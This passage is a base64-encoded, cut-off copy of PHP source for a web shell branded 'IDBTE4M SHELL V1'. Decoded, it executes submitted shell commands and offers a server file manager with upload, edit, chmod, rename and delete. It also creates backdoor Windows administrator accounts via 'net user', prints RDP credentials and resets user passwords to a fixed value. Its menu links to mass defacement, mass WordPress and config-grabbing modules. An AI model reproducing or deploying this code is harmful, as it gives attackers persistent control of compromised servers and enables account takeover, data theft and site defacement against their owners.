GlkZGVuIiBuYW1lPSJrc2hlbGwiIHZhbHVlPSIyIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvZm9ybT4KPC9kaXY+JzsKfQppZigkX1BPU1RbJ3N1Ym1pdCddKXsKZWNobyAiPHA+LS0tLS0tLS0tLS0tLS0teyBJTkZPIH0tLS0tLS0tLS0tLS0tLS08L3A+IjsJCmlmKCRfUE9TVFsna3NoZWxsJ109PSIxIil7Cgkkcl91c2VyID0gJF9QT1NUWyd1c2VybmFtZSddOwoJJHJfcGFzcyA9ICRfUE9TVFsncGFzc3dvcmQnXTsKCSRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7IAoJaWYocHJlZ19tYXRjaCgiLyRyX3VzZXIvIiwgJGNtZF9jZWtfdXNlcikpewoJCWVjaG8gJGdheWFfcm9vdC4kcl91c2VyLiIgc3VkYWggYWRhIi4kbzsKCX1lbHNlIHsKCSRjbWRfYWRkX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyICIuJHJfdXNlci4iICIuJHJfcGFzcy4iIC9hZGQiKTsKICAgICRjbWRfYWRkX2dyb3VwczEgPSBzaGVsbF9leGVjKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyAiLiRyX3VzZXIuIiAvYWRkIik7CiAgICAkY21kX2FkZF9ncm91cHMyID0gc2hlbGxfZXhlYygibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciAiLiRyX3VzZXIuIiAvYWRkIik7CiAgICAkY21kX2FkZF9ncm91cHMzID0gc2hlbGxfZXhlYygibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXIgIi4kcl91c2VyLiIgL2FkZCIpOwogICAgICAgIAogICAgCWlmKCRjbWRfYWRkX3VzZXIpewogICAgCQllY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgdXNlcl0tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CiAgICAJfWVsc2UgewogICAgCQllY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgdXNlcl0tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48cD4iLiRvOwogICAgCX0KICAgIAlpZigkY21kX2FkZF9ncm91cHMxKXsKICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yc10tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CiAgICAJfWVsc2UKICAgIAlpZigkY21kX2FkZF9ncm91cHMyKXsKICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yXS0+ICIuJHJfdXNlci4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKICAgIAl9ZWxzZQogICAgCWlmKCRjbWRfYWRkX2dyb3VwczMpewogICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPHA+W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyXS0+ICIuJHJfdXNlci4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKICAgIAl9ZWxzZSB7CiAgICAJCSAgZWNobyAkZ2F5YV9yb290LiI8cD5bYWRkIGxvY2FsZ3JvdXBdLT4gIi4kcl91c2VyLiIgPGZvbnQgY29sb3I9J3JlZCc+R2FnYWwgLSBDb250YWN0IFNob3I3c2VjPC9mb250PjxwPiIuJG87CiAgICAJfQoJCQkgIGVjaG8gJGdheWFfcm9vdC4iPHA+W0lORk8gUENdLT4gUkRQIElQICIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiIgVXNlcm5hbWUgOiAiLiRyX3VzZXIuIiBQYXNzd29yZCA6ICIuJHJfcGFzcy4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKCgl9CgoKCn1lbHNlIGlmKCRfUE9TVFsna3NoZWxsJ109PSIyIil7CgppZigkX1BPU1RbJ2Frc2knXT09IjEiKXsKIGVjaG8gIjxwcmU+Ii5zaGVsbF9leGVjKCJuZXQgdXNlciIpOwp9CmVsc2UgaWYoJF9QT1NUWydha3NpJ109PSIyIil7CiR1c2VybmFtZSA9ICRfUE9TVFsncnVzZXJuYW1lJ107CiRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CglpZiAoIWVtcHR5KCR1c2VybmFtZSkpewoJCWlmKHByZWdfbWF0Y2goIi8kdXNlcm5hbWUvIiwgJGNtZF9jZWtfdXNlcikpewoJCSRjbWRfYWRkX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyICIuJHVzZXJuYW1lLiIgL0RFTEVURSIpOwoJCWlmKCRjbWRfYWRkX3VzZXIpeyAKCQkJZWNobyAkZ2F5YV9yb290LiI8cD5bcmVtb3ZlIHVzZXJdLT4gIi4kdXNlcm5hbWUuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CgkJfWVsc2UgewoJCQllY2hvICRnYXlhX3Jvb3QuIjxwPltyZW1vdmUgdXNlcl0tPiAiLiR1c2VybmFtZS4iIDxmb250IGNvbG9yPSdyZWQnPmdhZ2FsPC9mb250PjxwPiIuJG87CgkJfQoJfWVsc2UgewoJCWVjaG8gJGdheWFfcm9vdC4iPHA+W3JlbW92ZSB1c2VyXS0+ICIuJHVzZXJuYW1lLiIgPGZvbnQgY29sb3I9J3JlZCc+VGlkYWsgZGl0ZW11a2FuPC9mb250PjxwPiIuJG87Cgl9Cgl9ZWxzZSB7CgkJZWNobyAkZ2F5YV9yb290LiI8cD5bUEVTQU5dLT4gPGZvbnQgY29sb3I9J3JlZCc+S2FtdSBsdXBhIG1hc3VraW4gVXNlcm5hbWUgeWFuZyBha2FuIGRpIGRlbGV0ZTwvZm9udD48cD4iLiRvOwoJfQp9ZWxzZSBpZigkX1BPU1RbJ2Frc2knXT09IjMiKXsKJHVzZXJuYW1lID0gJF9QT1NUWydydXNlcm5hbWUnXTsKJHBhc3N3b3JkID0gImphbmNvayI7CiRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CglpZiAoIWVtcHR5KCR1c2VybmFtZSkpewoJCWlmKHByZWdfbWF0Y2goIi8kdXNlcm5hbWUvIiwgJGNtZF9jZWtfdXNlcikpewoJCQkkY21kX2FkZF91c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciAiLiR1c2VybmFtZS4iIGphbmNvayIpOwoJCQlpZigkY21kX2FkZF91c2VyKXsKCQkJZWNobyAkZ2F5YV9yb290LiI8cD5bY2hhbmdlIHBhc3N3b3JkXS0+ICgiLiR1c2VybmFtZS4ifCIuJHBhc3N3b3JkLiIpIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKCQl9ZWxzZSB7CgkJCWVjaG8gJGdheWFfcm9vdC4iPHA+W2NoYW5nZSBwYXNzd29yZF0tPiAoIi4kdXNlcm5hbWUuInwiLiRwYXNzd29yZC4iKSA8Zm9udCBjb2xvcj0ncmVkJz5HQUdBTDwvZm9udD48cD4iLiRvOwoJCX0KCX1lbHNlCnsKCWVjaG8gJGdheWFfcm9vdC4iPHA+W1BFU0FOXS0+IDxmb250IGNvbG9yPSdyZWQnPlVzZXJuYW1lIFRpZGFrIERpdGVtdWthbiBkaSBzZXJ2ZXI8L2ZvbnQ+PHA+Ii4kbzsKfQp9ZWxzZQp7CgllY2hvICRnYXlhX3Jvb3QuIjxwPltQRVNBTl0tPiA8Zm9udCBjb2xvcj0ncmVkJz5LYW11IGx1cGEgbWFzdWtpbiBVc2VybmFtZSB5YW5nIGFrYW4gZGkgZGVsZXRlPC9mb250PjxwPiIuJG87Cn0KCQkKfQoKfQoKfQo/PgoKPD9waHAgCgoKCQkKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8aHRtbD48aGVhZD4KPHRpdGxlPi1fLTwvdGl0bGU+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0ianBnL3BuZzsgY2hhcnNldD11dGYtOCI+PGRpdiBjbGFzcz0iZ21haWxfZXh0cmEiPjxicj4KPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vZ29lbmsud2FwZ2VtLmNvbS9pZGIucG5nIj4KPGJvZHk+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cglib2R5IHsKICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgY29sb3I6ICMwMEZGMDA7CiAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwp9CgouYWNjZXNzR3JhbnRlZCB7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDIwMHB4OwogICAgYmFja2dyb3VuZDogIzMzMzsKICAgIHBhZGRpbmc6IDIwcHg7CiAgICBib3JkZXI6IDFweCBzb2xpZCAjOTk5OwogICAgd2lkdGg6IDMwMHB4OwogICAgbGVmdDogNTAlOwogICAgbWFyZ2luLWxlZnQ6IC0xNTBweDsKICAgIHRleHQtYWxpZ246IGNlbnRlcjsKfQoKLmFjY2Vzc0RlbmllZCB7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDIwMHB4OwogICAgY29sb3I6ICNGMDA7CiAgICBiYWNrZ3JvdW5kOiAjNTExOwogICAgcGFkZGluZzogMjBweDsKICAgIGJvcmRlcjogMXB4IHNvbGlkICNGMDA7CiAgICB3aWR0aDogMzAwcHg7CiAgICBsZWZ0OiA1MCU7CiAgICBtYXJnaW4tbGVmdDogLTE1MHB4OwogICAgdGV4dC1hbGlnbjogY2VudGVyOwp9CiNjb250ZW50LWNlbnRlciB7CiAgICB3aWR0aDogNDAwcHg7CiAgICBwYWRkaW5nOiAwcHggMTBweCAxMHB4IDEwcHg7CiAgICB3aWR0aDogODAwcHg7IAogICAgbWFyZ2luOiAwIGF1dG87Cn0KI2NvbnRlbnQtbGVmdCB7Cm1hcmdpbjogMCBhdXRvOwogICAgIHRleHQtYWxpZ246IGxlZnQ7Cn0KI2NvbnRlbnQtcmlnaHQgewptYXJnaW46IDAgYXV0bzsKICAgICB0ZXh0LWFsaWduOiByaWdodDsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7CiAgICBib3JkZXI6MDsKICAgIGJvcmRlcjoxcHggc29saWQgIzkwMDsKICAgIGJhY2tncm91bmQ6YmxhY2s7CiAgICBtYXJnaW46MDsKICAgICAgICBjb2xvcjogd2hpdGU7CgogICAgcGFkZGluZzoycHggNHB4Owp9CmlucHV0OmhvdmVyLHRleHRhcmVhOmhvdmVyLHNlbGVjdDpob3ZlcnsKICAgIGJhY2tncm91bmQ6YmxhY2s7CiAgICAgICAgY29sb3I6IGJsdWU7CgogICAgYm9yZGVyOjFweCBzb2xpZCAjZjAwOwp9CiAgICAgICAgICAgICAgICAgICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpyZWQ7fQo8L3N0eWxlPgo8L2hlYWQ+CjxIMT48Y2VudGVyPi09WytdIElEQlRFNE0gU0hFTEwgVjEgWytdPS08L2NlbnRlcj48L0gxPgo8dGFibGUgd2lkdGg9IjkwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgonOwplY2hvICc8Zm9udCBjb2xvcj0iYXF1YSI+PGNlbnRlcj4nLnBocF91bmFtZSgpLic8L2NlbnRlcj48L2ZvbnQ+PGJyPic7CmVjaG8gJzx0cj48dGQ+CjxjZW50ZXI+CjxkaXYgaWQ9ImNvbnRlbnQtY2VudGVyIj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iMzAiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb21tYW5kIj4KPC9mb3JtPgo8YnI+ClsgPGEgaHJlZj0iPyI+PGZvbnQgY29sb3I9ImFxdWEiPkhvbWU8L2ZvbnQ+PC9hPiBdLVsgPGEgaHJlZj0iP2RvPXdwbSI+PGZvbnQgY29sb3I9ImFxdWEiPldwIE1hc3M8L2ZvbnQ+PC9hPiBdLVsgPGEgaHJlZj0iP2RvPWp1bXBpbmciPjxmb250IGNvbG9yPSJhcXVhIj5KdW1waW5nPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1tYXNzX2RlZmFjZSI+PGZvbnQgY29sb3I9ImFxdWEiPk1hc3MgRGVmYWNlPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1SRFAiPjxmb250IGNvbG9yPSJhcXVhIj5LUkRQPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1jb25maWciPjxmb250IGNvbG9yPSJhcXVhIj5Db25maWcgR3JhYjwvZm9udD48L2E+IF0tWyA8YSBocmVmPSI/ZG89dG9sbHMiPjxmb250IGNvbG9yPSJhcXVhIj5DcDwvZm9udD48L2E+IF0KCjxicj48YnI+JzsKZWNobyAnSURCVEU0TSAjPiAnOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107ICAgCn1lbHNlewogICAgJHBhdGggPSBnZXRjd2QoKTsKfQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICRhID0gdHJ1ZTsKICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CiAgICAgICAgY29udGludWU7CiAgICB9CiAgICBpZigkcGF0ID09ICcnKSBjb250aW51ZTsKICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPSc7CiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgIGVjaG8gIiRwYXRoc1skaV0iOwogICAgICAgIGlmKCRpICE9ICRpZCkgZWNobyAiLyI7CiAgICB9CiAgICBlY2hvICciPicuJHBhdC4nPC9hPi8nOwp9CmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5PSyBDT0sgU1VLU0VTUyAhITwvZm9udD48YnIgLz4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+QVNVIFJBSU1VIEVMSyA6UDwvZm9udD48YnIgLz4nOwogICAgfQp9CmVjaG8gJzxjZW50ZXI+Cjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+CjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPgo8L2Zvcm0+CjwvdGQ+PC90cj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CiAgICBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7CiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwogICAgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CiAgICBpZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICBpZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkVkaXQgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkVkaXQgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CiAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpewogICAgICAgICAgICBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKICAgICAgICAgICAgaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBGaWxlIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgIGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dHIgY2xhc3M9ImZpcnN0Ij4KICAgICAgICA8dGQ+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+T3B0aW9uczwvY2VudGVyPjwvdGQ+CiAgICA8L3RyPic7CgogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICBlY2hvICI8dHI+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4iOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJhcXVhIj4nOwogICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7CiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKICAgICAgICBpZighaXNfZmlsZSgiJHBhdGgvJGZpbGUiKSkgY29udGludWU7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7CiAgICAgICAgaWYoJHNpemUgPj0gMTAyNCl7CiAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHNpemUgPSAkc2l6ZS4nIEtCJzsKICAgICAgICB9CgogICAgICAgIGVjaG8gIjx0cj4KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+IjsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImFxdWEiPic7CiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ